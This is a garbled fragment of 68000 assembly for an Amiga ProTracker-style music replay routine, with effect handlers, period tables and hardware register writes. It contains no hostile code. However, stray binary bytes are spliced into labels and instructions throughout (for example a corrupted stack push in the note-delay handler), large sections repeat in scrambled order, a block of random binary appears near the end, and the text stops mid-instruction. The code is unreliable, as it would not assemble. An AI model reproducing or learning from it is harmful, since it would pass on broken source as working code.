n_cmdlo(A6),D0 AND.B #$F,D0 BRA mt_VolSlideUp mt_VolumeFineDown: TST.B mt_counter BNE mt_Return2 MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 BRA mt_VolSlideDown2 mt_NoteCut: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 CMP.B mt_counter(PC),D0 BNE mt_Return2 CLR.B n_volume(A6) MOVE.W #0,8(A5) RTS mt_NoteDelay: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 CMP.B mt_Counter,D0 BNE mt_Return2 MOVE.W (A6),D0 BEQ mt_Return2 MOVE.L D1,-?&yB(SP) BRA mt_DoRetrig mt_PatternDelay: TST.B mt_counter BNE mt_Return2 MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 TST.B mt_PattDelTime2 BNE mt_Return2 ADDQ.B #1,D0 MOVE.B D0,mt_PattDelTime RTS mt_FunkIt: TST.B mt_counter BNE mt_Return2 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 LSL.B #4,D0 AND.B #$0F,n_glissfunk(A6) OR.B D0,n_glissfunk(A6) TST.B D0 BEQ mt_Return2 mt_UpdateFunk: MOVEM.L A0/D1-D2,-(SP) MOVEQ #0,D0 MOVE.B n_glissfunk(A6),D0 LSR.B #4,D0 BEQ mt_fun?'zí>kend LEA mt_FunkTable(PC),A0 MOVE.B (A0,D0.W),D0 ADD.B D0,n_funkoffset(A6) BTST #7,n_funkoffset(A6) BEQ mt_funkend CLR.B n_funkoffset(A6) MOVE.L n_start(A6),D1 MOVEQ #0,D2 MOVE.W n_reallength(A6),D2 LSL.W #1,D2 ADD.L D2,D1 MOVE.W n_replen(A6),D2 LSL.L #1,D2 SUB.L D2,D1 MOVE.L n_wavestart(A6),D2 MOVEQ #0,D0 MOVE.W n_replen(A6),D0 LSL.L #1,D0 ADD.L D0,D2 CMP.L D1,D2 BLS mt_funkok MOVE.L n_loopstart(A6),D2 mt_funkok: MOVE.L D2,n_wavestart(A6) MOVE.L D2,(A5) mt_?({funkend: MOVEM.L (SP)+,A0/D1-D2 RTS mt_FunkTable:dc.b 0,5,6,7,8,10,11,13,16,19,22,26,32,43,64,128 mt_VibratoTable: dc.b 0, 24, 49, 74, 97,120,141,161 dc.b 180,197,212,224,235,244,250,253 dc.b 255,253,250,244,235,224,212,197 dc.b 180,161,141,120, 97, 74, 49, 24 mt_PeriodTable: ; Tuning 0, Normal dc.w 856,808,762,720,678,640,604,570,538,508,480,453 dc.w 428,404,381,360,339,320,302,285,269,254,240,226 dc.w 214,202,190,180,170,160,151,143,135,127,120,113 ; Tuning 1 dc.w 8?)|50,802,757,715,674,637,601,567,535,505,477,450 dc.w 425,401,379,357,337,318,300,284,268,253,239,225 dc.w 213,201,189,179,169,159,150,142,134,126,119,113 ; Tuning 2 dc.w 844,796,752,709,670,632,597,563,532,502,474,447 dc.w 422,398,376,355,335,316,298,282,266,251,237,224 dc.w 211,199,188,177,167,158,149,141,133,125,118,112 ; Tuning 3 dc.w 838,791,746,704,665,628,592,559,528,498,470,444 dc.w 419,395,373,352,332,314,296,280,264,249,235,222 dc.w 209,198,187,176,166,157,148,140,132?*}-qj,125,118,111 ; Tuning 4 dc.w 832,785,741,699,660,623,588,555,524,495,467,441 dc.w 416,392,370,350,330,312,294,278,262,247,233,220 dc.w 208,196,185,175,165,156,147,139,131,124,117,110 ; Tuning 5 dc.w 826,779,736,694,655,619,584,551,520,491,463,437 dc.w 413,390,368,347,328,309,292,276,260,245,232,219 dc.w 206,195,184,174,164,155,146,138,130,123,116,109 ; Tuning 6 dc.w 820,774,730,689,651,614,580,547,516,487,460,434 dc.w 410,387,365,345,325,307,290,274,258,244,230,217 dc.w 205,?+~X8193,183,172,163,154,145,137,129,122,115,109 ; Tuning 7 dc.w 814,768,725,684,646,610,575,543,513,484,457,431 dc.w 407,384,363,342,323,305,288,272,256,242,228,216 dc.w 204,192,181,171,161,152,144,136,128,121,114,108 ; Tuning -8 dc.w 907,856,808,762,720,678,640,604,570,538,508,480 dc.w 453,428,404,381,360,339,320,302,285,269,254,240 dc.w 226,214,202,190,180,170,160,151,143,135,127,120 ; Tuning -7 dc.w 900,850,802,757,715,675,636,601,567,535,505,477 dc.w 450,425,401,379,357,337,3?,Jm$18,300,284,268,253,238 dc.w 225,212,200,189,179,169,159,150,142,134,126,119 ; Tuning -6 dc.w 894,844,796,752,709,670,632,597,563,532,502,474 dc.w 447,422,398,376,355,335,316,298,282,266,251,237 dc.w 223,211,199,188,177,167,158,149,141,133,125,118 ; Tuning -5 dc.w 887,838,791,746,704,665,628,592,559,528,498,470 dc.w 444,419,395,373,352,332,314,296,280,264,249,235 dc.w 222,209,198,187,176,166,157,148,140,132,125,118 ; Tuning -4 dc.w 881,832,785,741,699,660,623,588,555,524,494,4?-j~67 dc.w 441,416,392,370,350,330,312,294,278,262,247,233 dc.w 220,208,196,185,175,165,156,147,139,131,123,117 ; Tuning -3 dc.w 875,826,779,736,694,655,619,584,551,520,491,463 dc.w 437,413,390,368,347,328,309,292,276,260,245,232 dc.w 219,206,195,184,174,164,155,146,138,130,123,116 ; Tuning -2 dc.w 868,820,774,730,689,651,614,580,547,516,487,460 dc.w 434,410,387,365,345,325,307,290,274,258,244,230 dc.w 217,205,193,183,172,163,154,145,137,129,122,115 ; Tuning -1 dc.w 862,814,768?Pv8#35*2,D0 mt_GlissFound: MOVE.W (A0,D0.W),D2 mt_GlissSkip: MOVE.W D2,6(A5) ; Set period RTS mt_Vibrato: MOVE.B n_cmdlo(A6),D0 BEQ mt_Vibrato2 MOVE.B n_vibratocmd(A6),D2 AND.B #$0F,D0 BEQ mt_vibskip AND.B #$F0,D2 OR.B D0,D2 mt_vibskip: MOVE.B n_cmdlo(A6),D0 AND.B #$F0,D0 BEQ mt_vibskip2 AND.B #$0F,D2 OR.B D0,D2 mt_vibskip2: MOVE.B D2,n_vibratocmd(A6) mt_Vibrato2: MOVE.B n_vibratopos(A6),D0 LEA mt_VibratoTable(PC),A4 LSR.W #2,D0 AND.W #$001F,D0 MOVEQ #0,D2 MOVE.B ?Bn_wavecontrol(A6),D2 AND.B #$03,D2 BEQ mt_vib_sine LSL.B #3,D0 CMP.B #1,D2 BEQ mt_vib_rampdown MOVE.B #255,D2 BRA mt_vib_set mt_vib_rampdown: TST.B n_vibratopos(A6) BPL mt_vib_rampdown2 MOVE.B #255,D2 SUB.B D0,D2 BRA mt_vib_set mt_vib_rampdown2: MOVE.B D0,D2 BRA mt_vib_set mt_vib_sine: MOVE.B 0(A4,D0.W),D2 mt_vib_set: MOVE.B n_vibratocmd(A6),D0 AND.W #15,D0 MULU D0,D2 LSR.W #7,D2 MOVE.W n_period(A6),D0 TST.B n_vibratopos(A6) BMI mt_VibratoNeg ADD.W D2,D0 BRA m?kt_Vibrato3 mt_VibratoNeg: SUB.W D2,D0 mt_Vibrato3: MOVE.W D0,6(A5) MOVE.B n_vibratocmd(A6),D0 LSR.W #2,D0 AND.W #$003C,D0 ADD.B D0,n_vibratopos(A6) RTS mt_TonePlusVolSlide: BSR mt_TonePortNoChange BRA mt_VolumeSlide mt_VibratoPlusVolSlide: BSR mt_Vibrato2 BRA mt_VolumeSlide mt_Tremolo: MOVE.B n_cmdlo(A6),D0 BEQ mt_Tremolo2 MOVE.B n_tremolocmd(A6),D2 AND.B #$0F,D0 BEQ mt_treskip AND.B #$F0,D2 OR.B D0,D2 mt_treskip: MOVE.B n_cmdlo(A6),D0 AND.B #$F0,D0 BEQ mt_tre?Nskip2 AND.B #$0F,D2 OR.B D0,D2 mt_treskip2: MOVE.B D2,n_tremolocmd(A6) mt_Tremolo2: MOVE.B n_tremolopos(A6),D0 LEA mt_VibratoTable(PC),A4 LSR.W #2,D0 AND.W #$001F,D0 MOVEQ #0,D2 MOVE.B n_wavecontrol(A6),D2 LSR.B #4,D2 AND.B #$03,D2 BEQ mt_tre_sine LSL.B #3,D0 CMP.B #1,D2 BEQ mt_tre_rampdown MOVE.B #255,D2 BRA mt_tre_set mt_tre_rampdown: TST.B n_vibratopos(A6) BPL mt_tre_rampdown2 MOVE.B #255,D2 SUB.B D0,D2 BRA mt_tre_set mt_tre_rampdown2: MOVE.B D0,D2 BRA mt_t?O-re_set mt_tre_sine: MOVE.B 0(A4,D0.W),D2 mt_tre_set: MOVE.B n_tremolocmd(A6),D0 AND.W #15,D0 MULU D0,D2 LSR.W #6,D2 MOVEQ #0,D0 MOVE.B n_volume(A6),D0 TST.B n_tremolopos(A6) BMI mt_TremoloNeg ADD.W D2,D0 BRA mt_Tremolo3 mt_TremoloNeg: SUB.W D2,D0 mt_Tremolo3: BPL mt_TremoloSkip CLR.W D0 mt_TremoloSkip: CMP.W #$40,D0 BLS mt_TremoloOk MOVE.W #$40,D0 mt_TremoloOk: MOVE.W D0,8(A5) MOVE.B n_tremolocmd(A6),D0 LSR.W #2,D0 AND.W #$003C,D0 ADD.B D0,n_tremolopos(A6) RTS ?~] mt_SampleOffset: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 BEQ mt_sononew MOVE.B D0,n_sampleoffset(A6) mt_sononew: MOVE.B n_sampleoffset(A6),D0 LSL.W #7,D0 CMP.W n_length(A6),D0 BGE mt_sofskip SUB.W D0,n_length(A6) LSL.W #1,D0 ADD.L D0,n_start(A6) RTS mt_sofskip: MOVE.W #$0001,n_length(A6) RTS mt_VolumeSlide: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 LSR.B #4,D0 TST.B D0 BEQ mt_VolSlideDown mt_VolSlideUp: ADD.B D0,n_volume(A6) CMP.B #$40,n_volume(A6) BMI mt_vsuskip MOVE.B #$?Ȳ40,n_volume(A6) mt_vsuskip: MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) RTS mt_VolSlideDown: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 mt_VolSlideDown2: SUB.B D0,n_volume(A6) BPL mt_vsdskip CLR.B n_volume(A6) mt_vsdskip: MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) RTS mt_PositionJump: MOVE.B n_cmdlo(A6),D0 SUBQ.B #1,D0 MOVE.B D0,mt_SongPos mt_pj2: CLR.B mt_PBreakPos ST mt_PosJumpFlag RTS mt_VolumeChange: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 CMP.B #$40,D0 BLS mt_Volu?meOk MOVEQ #$40,D0 mt_VolumeOk: MOVE.B D0,n_volume(A6) MOVE.W D0,8(A5) RTS mt_PatternBreak: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 MOVE.L D0,D2 LSR.B #4,D0 MULU #10,D0 AND.B #$0F,D2 ADD.B D2,D0 CMP.B #63,D0 BHI mt_pj2 MOVE.B D0,mt_PBreakPos ST mt_PosJumpFlag RTS mt_SetSpeed: MOVE.B 3(A6),D0 BEQ mt_Return2 CLR.B mt_counter MOVE.B D0,mt_speed RTS mt_CheckMoreEfx: BSR mt_UpdateFunk MOVE.B 2(A6),D0 AND.B #$0F,D0 CMP.B #$9,D0 BEQ mt_SampleOffset CMP.B #$B,D0 BEQ ? Wmt_PositionJump CMP.B #$D,D0 BEQ mt_PatternBreak CMP.B #$E,D0 BEQ mt_E_Commands CMP.B #$F,D0 BEQ mt_SetSpeed CMP.B #$C,D0 BEQ mt_VolumeChange RTS mt_E_Commands: MOVE.B n_cmdlo(A6),D0 AND.B #$F0,D0 LSR.B #4,D0 BEQ mt_FilterOnOff CMP.B #1,D0 BEQ mt_FinePortaUp CMP.B #2,D0 BEQ mt_FinePortaDown CMP.B #3,D0 BEQ mt_SetGlissControl CMP.B #4,D0 BEQ mt_SetVibratoControl CMP.B #5,D0 BEQ mt_SetFineTune CMP.B #6,D0 BEQ mt_JumpLoop CMP.B #7,D0 BEQ mt_SetTremoloControl?!F CMP.B #9,D0 BEQ mt_RetrigNote CMP.B #$A,D0 BEQ mt_VolumeFineUp CMP.B #$B,D0 BEQ mt_VolumeFineDown CMP.B #$C,D0 BEQ mt_NoteCut CMP.B #$D,D0 BEQ mt_NoteDelay CMP.B #$E,D0 BEQ mt_PatternDelay CMP.B #$F,D0 BEQ mt_FunkIt RTS mt_FilterOnOff: MOVE.B n_cmdlo(A6),D0 AND.B #1,D0 ASL.B #1,D0 AND.B #$FD,$BFE001 OR.B D0,$BFE001 RTS mt_SetGlissControl: MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 AND.B #$F0,n_glissfunk(A6) OR.B D0,n_glissfunk(A6) RTS mt_SetVibratoControl: MO?"u$HVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 AND.B #$F0,n_wavecontrol(A6) OR.B D0,n_wavecontrol(A6) RTS mt_SetFineTune: MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 MOVE.B D0,n_finetune(A6) RTS mt_JumpLoop: TST.B mt_counter BNE mt_Return2 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 BEQ mt_SetLoop TST.B n_loopcount(A6) BEQ mt_jumpcnt SUB.B #1,n_loopcount(A6) BEQ mt_Return2 mt_jmploop: MOVE.B n_pattpos(A6),mt_PBreakPos ST mt_PBreakFlag RTS mt_jumpcnt: MOVE.B D0,n_loopcount(A6) BRA mt_jmplo? 6 BTST #2,n_wavecontrol(A6) BNE mt_vibnoc CLR.B n_vibratopos(A6) mt_vibnoc: BTST #6,n_wavecontrol(A6) BNE mt_trenoc CLR.B n_tremolopos(A6) mt_trenoc: MOVE.L n_start(A6),(A5) ; Set start MOVE.W n_length(A6),4(A5) ; Set length MOVE.W n_period(A6),D0 MOVE.W D0,6(A5) ; Set period MOVE.W n_dmabit(A6),D0 OR.W D0,mt_DMACONtemp BRA mt_CheckMoreEfx mt_SetDMA: MOVE.W #300,D0 mt_WaitDMA: DBRA D0,mt_WaitDMA MOVE.W mt_DMACONtemp(PC),D0 OR.W #$8000,D0 MOVE.W D0,$DFF096 MOVE.W? #300,D0 mt_WaitDMA2: DBRA D0,mt_WaitDMA2 LEA $DFF000,A5 LEA mt_chan4temp(PC),A6 MOVE.L n_loopstart(A6),$D0(A5) MOVE.W n_replen(A6),$D4(A5) LEA mt_chan3temp(PC),A6 MOVE.L n_loopstart(A6),$C0(A5) MOVE.W n_replen(A6),$C4(A5) LEA mt_chan2temp(PC),A6 MOVE.L n_loopstart(A6),$B0(A5) MOVE.W n_replen(A6),$B4(A5) LEA mt_chan1temp(PC),A6 MOVE.L n_loopstart(A6),$A0(A5) MOVE.W n_replen(A6),$A4(A5) mt_dskip: ADD.W #16,mt_PatternPos MOVE.B mt_PattDelTime,D0 BEQ mt_dskc MOVE.B D?0,mt_PattDelTime2 CLR.B mt_PattDelTime mt_dskc:TST.B mt_PattDelTime2 BEQ mt_dska SUBQ.B #1,mt_PattDelTime2 BEQ mt_dska SUB.W #16,mt_PatternPos mt_dska:TST.B mt_PBreakFlag BEQ mt_nnpysk SF mt_PBreakFlag MOVEQ #0,D0 MOVE.B mt_PBreakPos(PC),D0 CLR.B mt_PBreakPos LSL.W #4,D0 MOVE.W D0,mt_PatternPos mt_nnpysk: CMP.W #1024,mt_PatternPos BLO mt_NoNewPosYet mt_NextPosition: MOVEQ #0,D0 MOVE.B mt_PBreakPos(PC),D0 LSL.W #4,D0 MOVE.W D0,mt_PatternPos CLR.B mt_PBreakPos CLR.B?$ mt_PosJumpFlag ADDQ.B #1,mt_SongPos AND.B #$7F,mt_SongPos MOVE.B mt_SongPos(PC),D1 MOVE.L mt_SongDataPtr(PC),A0 CMP.B 950(A0),D1 BLO mt_NoNewPosYet CLR.B mt_SongPos mt_NoNewPosYet: TST.B mt_PosJumpFlag BNE mt_NextPosition MOVEM.L (SP)+,D0-D4/A0-A6 RTS mt_CheckEfx: BSR mt_UpdateFunk MOVE.W n_cmd(A6),D0 AND.W #$0FFF,D0 BEQ mt_PerNop MOVE.B n_cmd(A6),D0 AND.B #$0F,D0 BEQ mt_Arpeggio CMP.B #1,D0 BEQ mt_PortaUp CMP.B #2,D0 BEQ mt_PortaDown CMP.B #3,D0 BEQ mt_Tone?G? $0F MOVE.B (A6),D0 AND.B #$F0,D0 OR.B D0,D2 TST.B D2 BEQ mt_SetRegs MOVEQ #0,D3 LEA mt_SampleStarts(PC),A1 MOVE D2,D4 SUBQ.L #1,D2 ;-1 ASL.L #2,D2 ;*4 MULU #30,D4 ;*30 MOVE.L (A1,D2.L),n_start(A6) MOVE.W (A3,D4.L),n_length(A6) MOVE.W (A3,D4.L),n_reallength(A6) MOVE.B 2(A3,D4.L),n_finetune(A6) MOVE.B 3(A3,D4.L),n_volume(A6) MOVE.W 4(A3,D4.L),D3 ; Get repeat TST.W D3 BEQ mt_NoLoop MOVE.L n_start(A6),D2 ; Get start A? [gSL.W #1,D3 ADD.L D3,D2 ; Add repeat MOVE.L D2,n_loopstart(A6) MOVE.L D2,n_wavestart(A6) MOVE.W 4(A3,D4.L),D0 ; Get repeat ADD.W 6(A3,D4.L),D0 ; Add replen MOVE.W D0,n_length(A6) MOVE.W 6(A3,D4.L),n_replen(A6) ; Save replen MOVEQ #0,D0 MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) ; Set volume BRA mt_SetRegs mt_NoLoop: MOVE.L n_start(A6),D2 ADD.L D3,D2 MOVE.L D2,n_loopstart(A6) MOVE.L D2,n_wavestart(A6) MOVE.W 6(A3,D4.L),n_replen(A6) ; Save replen MOVEQ #0,D0 MOVE.B n_vol? Uume(A6),D0 MOVE.W D0,8(A5) ; Set volume mt_SetRegs: MOVE.W (A6),D0 AND.W #$0FFF,D0 BEQ mt_CheckMoreEfx ; If no note MOVE.W 2(A6),D0 AND.W #$0FF0,D0 CMP.W #$0E50,D0 BEQ mt_DoSetFineTune MOVE.B 2(A6),D0 AND.B #$0F,D0 CMP.B #3,D0 ; TonePortamento BEQ mt_ChkTonePorta CMP.B #5,D0 BEQ mt_ChkTonePorta CMP.B #9,D0 ; Sample Offset BNE mt_SetPeriod BSR mt_CheckMoreEfx BRA mt_SetPeriod mt_DoSetFineTune: BSR mt_SetFineTune BRA mt_SetPeriod mt_ChkTonePorta: BSR mt_SetTonePo? *rta BRA mt_CheckMoreEfx mt_SetPeriod: MOVEM.L D0-D1/A0-A1,-(SP) MOVE.W (A6),D1 AND.W #$0FFF,D1 LEA mt_PeriodTable(PC),A1 MOVEQ #0,D0 MOVEQ #36,D7 mt_ftuloop: CMP.W (A1,D0.W),D1 BHS mt_ftufound ADDQ.L #2,D0 DBRA D7,mt_ftuloop mt_ftufound: MOVEQ #0,D1 MOVE.B n_finetune(A6),D1 MULU #36*2,D1 ADD.L D1,A1 MOVE.W (A1,D0.W),n_period(A6) MOVEM.L (SP)+,D0-D1/A0-A1 MOVE.W 2(A6),D0 AND.W #$0FF0,D0 CMP.W #$0ED0,D0 ; Notedelay BEQ mt_CheckMoreEfx MOVE.W n_dmabit(A6),$DFF09? V n CMP.B #$C,D0 BEQ mt_NoteCut CMP.B #$D,D0 BEQ mt_NoteDelay CMP.B #$E,D0 BEQ mt_PatternDelay CMP.B #$F,D0 BEQ mt_FunkIt RTS mt_FilterOnOff: MOVE.B n_cmdlo(A6),D0 AND.B #1,D0 ASL.B #1,D0 AND.B #$FD,$BFE001 OR.B D0,$BFE001 RTS mt_SetGlissControl: MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 AND.B #$F0,n_glissfunk(A6) OR.B D0,n_glissfunk(A6) RTS mt_SetVibratoControl: MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 AND.B #$F0,n_wavecontrol(A6) OR.B D0,n_wavecontrol(A6) RTS mt_Se?!_ !tFineTune: MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 MOVE.B D0,n_finetune(A6) RTS mt_JumpLoop: TST.B mt_counter BNE mt_Return2 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 BEQ mt_SetLoop TST.B n_loopcount(A6) BEQ mt_jumpcnt SUB.B #1,n_loopcount(A6) BEQ mt_Return2 mt_jmploop: MOVE.B n_pattpos(A6),mt_PBreakPos ST mt_PBreakFlag RTS mt_jumpcnt: MOVE.B D0,n_loopcount(A6) BRA mt_jmploop mt_SetLoop: MOVE.W mt_PatternPos(PC),D0 LSR.W #4,D0 MOVE.B D0,n_pattpos(A6) RTS mt_SetTremoloC?"? ontrol: MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 LSL.B #4,D0 AND.B #$0F,n_wavecontrol(A6) OR.B D0,n_wavecontrol(A6) RTS mt_RetrigNote: MOVE.L D1,-(SP) MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 BEQ mt_rtnend MOVEQ #0,D1 MOVE.B mt_counter(PC),D1 BNE mt_rtnskp MOVE.W n_note(A6),D1 AND.W #$0FFF,D1 BNE mt_rtnend MOVEQ #0,D1 MOVE.B mt_counter(PC),D1 mt_rtnskp: DIVU D0,D1 SWAP D1 TST.W D1 BNE mt_rtnend mt_DoRetrig: MOVE.W n_dmabit(A6),$DFF096 ; Channel DMA off MOV?#@E.L n_start(A6),(A5) ; Set sampledata pointer MOVE.W n_length(A6),4(A5) ; Set length MOVE.W #300,D0 mt_rtnloop1: DBRA D0,mt_rtnloop1 MOVE.W n_dmabit(A6),D0 BSET #15,D0 MOVE.W D0,$DFF096 MOVE.W #300,D0 mt_rtnloop2: DBRA D0,mt_rtnloop2 MOVE.L n_loopstart(A6),(A5) MOVE.L n_replen(A6),4(A5) mt_rtnend: MOVE.L (SP)+,D1 RTS mt_VolumeFineUp: TST.B mt_counter BNE mt_Return2 MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$F,D0 BRA mt_VolSlideUp mt_VolumeFineDown: TST.B mt_counte?$^ r BNE mt_Return2 MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 BRA mt_VolSlideDown2 mt_NoteCut: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 CMP.B mt_counter(PC),D0 BNE mt_Return2 CLR.B n_volume(A6) MOVE.W #0,8(A5) RTS mt_NoteDelay: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 CMP.B mt_Counter,D0 BNE mt_Return2 MOVE.W (A6),D0 BEQ mt_Return2 MOVE.L D1,-(SP) BRA mt_DoRetrig mt_PatternDelay: TST.B mt_counter BNE mt_Return2 MOVEQ #0,D0 MOVE.B n_cmdlo(?%hA6),D0 AND.B #$0F,D0 TST.B mt_PattDelTime2 BNE mt_Return2 ADDQ.B #1,D0 MOVE.B D0,mt_PattDelTime RTS mt_FunkIt: TST.B mt_counter BNE mt_Return2 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 LSL.B #4,D0 AND.B #$0F,n_glissfunk(A6) OR.B D0,n_glissfunk(A6) TST.B D0 BEQ mt_Return2 mt_UpdateFunk: MOVEM.L A0/D1-D2,-(SP) MOVEQ #0,D0 MOVE.B n_glissfunk(A6),D0 LSR.B #4,D0 BEQ mt_funkend LEA mt_FunkTable(PC),A0 MOVE.B (A0,D0.W),D0 ADD.B D0,n_funkoffset(A6) BTST #7,n_funkoffset(A6)?&_ԗ BEQ mt_funkend CLR.B n_funkoffset(A6) MOVE.L n_start(A6),D1 MOVEQ #0,D2 MOVE.W n_reallength(A6),D2 LSL.W #1,D2 ADD.L D2,D1 MOVE.W n_replen(A6),D2 LSL.L #1,D2 SUB.L D2,D1 MOVE.L n_wavestart(A6),D2 MOVEQ #0,D0 MOVE.W n_replen(A6),D0 LSL.L #1,D0 ADD.L D0,D2 CMP.L D1,D2 BLS mt_funkok MOVE.L n_loopstart(A6),D2 mt_funkok: MOVE.L D2,n_wavestart(A6) MOVE.L D2,(A5) mt_funkend: MOVEM.L (SP)+,A0/D1-D2 RTS mt_FunkTable:dc.b 0,5,6,7,8,10,11,13,16,19,22,26,32,43,64,128 ?'@mt_VibratoTable: dc.b 0, 24, 49, 74, 97,120,141,161 dc.b 180,197,212,224,235,244,250,253 dc.b 255,253,250,244,235,224,212,197 dc.b 180,161,141,120, 97, 74, 49, 24 mt_PeriodTable: ; Tuning 0, Normal dc.w 856,808,762,720,678,640,604,570,538,508,480,453 dc.w 428,404,381,360,339,320,302,285,269,254,240,226 dc.w 214,202,190,180,170,160,151,143,135,127,120,113 ; Tuning 1 dc.w 850,802,757,715,674,637,601,567,535,505,477,450 dc.w 425,401,379,357,337,318,300,284,268,253,239,225 d?(Ӧc.w 213,201,189,179,169,159,150,142,134,126,119,113 ; Tuning 2 dc.w 844,796,752,709,670,632,597,563,532,502,474,447 dc.w 422,398,376,355,335,316,298,282,266,251,237,224 dc.w 211,199,188,177,167,158,149,141,133,125,118,112 ; Tuning 3 dc.w 838,791,746,704,665,628,592,559,528,498,470,444 dc.w 419,395,373,352,332,314,296,280,264,249,235,222 dc.w 209,198,187,176,166,157,148,140,132,125,118,111 ; Tuning 4 dc.w 832,785,741,699,660,623,588,555,524,495,467,441 dc.w 416,392,370,350,330?)5,312,294,278,262,247,233,220 dc.w 208,196,185,175,165,156,147,139,131,124,117,110 ; Tuning 5 dc.w 826,779,736,694,655,619,584,551,520,491,463,437 dc.w 413,390,368,347,328,309,292,276,260,245,232,219 dc.w 206,195,184,174,164,155,146,138,130,123,116,109 ; Tuning 6 dc.w 820,774,730,689,651,614,580,547,516,487,460,434 dc.w 410,387,365,345,325,307,290,274,258,244,230,217 dc.w 205,193,183,172,163,154,145,137,129,122,115,109 ; Tuning 7 dc.w 814,768,725,684,646,610,575,543,513,484,45?*[7,431 dc.w 407,384,363,342,323,305,288,272,256,242,228,216 dc.w 204,192,181,171,161,152,144,136,128,121,114,108 ; Tuning -8 dc.w 907,856,808,762,720,678,640,604,570,538,508,480 dc.w 453,428,404,381,360,339,320,302,285,269,254,240 dc.w 226,214,202,190,180,170,160,151,143,135,127,120 ; Tuning -7 dc.w 900,850,802,757,715,675,636,601,567,535,505,477 dc.w 450,425,401,379,357,337,318,300,284,268,253,238 dc.w 225,212,200,189,179,169,159,150,142,134,126,119 ; Tuning -6 dc.w 894,844,.Lg:YfJ ϗ0s퉇y~{diXooktec>][wP7;j.5 ";?FQuM 1f!Onjۙ?3+ػ׵~7:qU)ݤ샩B[;4>4O9HFD2+YGlSJIMA};V!8C+i%=BH0Q!Cb9ݒۍCŁO UƷԷUkW`Fj䠷ɨb-WsigEkhg%)@u[6CN47k(Cgz?5+1f %D)]+YN)1CEe'՝3ͽ}5aXYؗjtwU,/]Czmf(lK}0]seK QncT ]Qh7a]f-'swBB* .U]کӫ43yþև һ‰aJc4Vv{} yI=ߐGga-Ϡ7WSS=r5UC}Q;I1/U#&aڙ1*m )Վ 1Mɉ @AOiT]ߣdm-pgx}^5; ifS]:YV5QNK*IF=s}I91N-*@[qGi# f%動Ǿڵѵw8ٽֵϭߡAatM]byvOaOWiU!oaZ6URy;L*IG$~:O1%_29v^RH U&j`~ϞI@SCTIifYta9[GzQIsqhU iga_1{cV)*IG"AēdŭO: Le+ Yq5[/MJKӧ6UX74>iHI˯ۉLoѯ ]GzMusI_QEm?][u{-SU? eyC@??ur.? iPY9ccQE+O߇| ٝT͏Қף E  :][w;4o.=27-ap[m_P}N@N[`[Uzovpytg~} 8 '՝3ͽ}5aXYؗjtwU,/]Czmf(lK}0]seK QncT ]Qh7a]?\VE.B #255,D2 BRA mt_vib_set mt_vib_rampdown: TST.B n_vibratopos(A6) BPL mt_vib_rampdown2 MOVE.B #255,D2 SUB.B D0,D2 BRA mt_vib_set mt_vib_rampdown2: MOVE.B D0,D2 BRA mt_vib_set mt_vib_sine: MOVE.B 0(A4,D0.W),D2 mt_vib_set: MOVE.B n_vibratocmd(A6),D0 AND.W #15,D0 MULU D0,D2 LSR.W #7,D2 MOVE.W n_period(A6),D0 TST.B n_vibratopos(A6) BMI mt_VibratoNeg ADD.W D2,D0 BRA mt_Vibrato3 mt_VibratoNeg: SUB.W D2,D0 mt_Vibrato3: MOVE.W D0,6(A5) MOVE.B n_vibratocmd(A6),D0 LSR.W? #2,D0 AND.W #$003C,D0 ADD.B D0,n_vibratopos(A6) RTS mt_TonePlusVolSlide: BSR mt_TonePortNoChange BRA mt_VolumeSlide mt_VibratoPlusVolSlide: BSR mt_Vibrato2 BRA mt_VolumeSlide mt_Tremolo: MOVE.B n_cmdlo(A6),D0 BEQ mt_Tremolo2 MOVE.B n_tremolocmd(A6),D2 AND.B #$0F,D0 BEQ mt_treskip AND.B #$F0,D2 OR.B D0,D2 mt_treskip: MOVE.B n_cmdlo(A6),D0 AND.B #$F0,D0 BEQ mt_treskip2 AND.B #$0F,D2 OR.B D0,D2 mt_treskip2: MOVE.B D2,n_tremolocmd(A6) mt_Tremolo2: MOVE.B n_tremol?L|opos(A6),D0 LEA mt_VibratoTable(PC),A4 LSR.W #2,D0 AND.W #$001F,D0 MOVEQ #0,D2 MOVE.B n_wavecontrol(A6),D2 LSR.B #4,D2 AND.B #$03,D2 BEQ mt_tre_sine LSL.B #3,D0 CMP.B #1,D2 BEQ mt_tre_rampdown MOVE.B #255,D2 BRA mt_tre_set mt_tre_rampdown: TST.B n_vibratopos(A6) BPL mt_tre_rampdown2 MOVE.B #255,D2 SUB.B D0,D2 BRA mt_tre_set mt_tre_rampdown2: MOVE.B D0,D2 BRA mt_tre_set mt_tre_sine: MOVE.B 0(A4,D0.W),D2 mt_tre_set: MOVE.B n_tremolocmd(A6),D0 AND.W #15,D0 MULU D?0,D2 LSR.W #6,D2 MOVEQ #0,D0 MOVE.B n_volume(A6),D0 TST.B n_tremolopos(A6) BMI 